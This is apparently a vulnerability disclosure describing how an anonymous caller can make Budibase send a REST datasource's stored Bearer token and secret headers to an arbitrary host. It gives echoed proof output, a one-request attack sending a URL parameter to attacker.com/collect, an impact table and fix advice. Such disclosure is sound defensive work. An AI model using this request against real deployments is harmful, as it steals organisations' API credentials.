Details
Actual output of Line 4 (the leaked credential)
The anonymous request returns HTTP 200; the outbound headers echoed by postman-echo.com contain the datasource's stored, otherwise-masked credentials:
{"data":[{"headers":{"host":"postman-echo.com","x-static-secret":"STATIC_HDR_LEAK_4242","authorization":"Bearer UNAUTH_LEAK_TOKEN_5150"}}]}
authorization: Bearer UNAUTH_LEAK_TOKEN_5150 and x-static-secret: STATIC_HDR_LEAK_4242 were delivered to a host chosen by a fully anonymous caller. Confirmed 3/3 separate runs.
Full Real-World Attack
1. A builder has a REST datasource with stored auth (Bearer/API key) and a query
whose path uses a parameter, published at PUBLIC (customer-facing app).
2. The attacker needs no account. They read the published app id + query id from
the published app, then send ONE request:
POST /api/v2/queries/<queryId>
x-budibase-app-id: <prodAppId>
{"parameters":{"t":"https://attacker.com/collect"}}
3. Budibase attaches Authorization: Bearer <token> and sends it to attacker.com.
4. attacker.com logs the header => the datasource's secret token.
5. The attacker calls the third-party API directly as the victim organisation.
Impact
| Who / what is affected | How |
|---|---|
| Every REST datasource with stored auth used by a PUBLIC query | Its Bearer/Basic token + static headers are exfiltrated |
| The third-party service behind that datasource | Attacker uses the stolen token directly (data theft / abuse) |
| Unauthenticated attackers | One request, no login, no CSRF, no user interaction |
| The credential-masking control | Fully defeated - masked secrets recovered in cleartext |
Recommended Fix
- Before attaching stored auth, require the resolved request host to equal the datasource base host (strict same-origin check); strip stored credentials on any cross-origin resolution.
- Reject absolute-URL query paths and host/scheme changes introduced via path parameter bindings.
- Re-audit the GHSA-3gp5 fix - it closed the base-URL rewrite vector only; the query-path vector remained and is now reachable unauthenticated.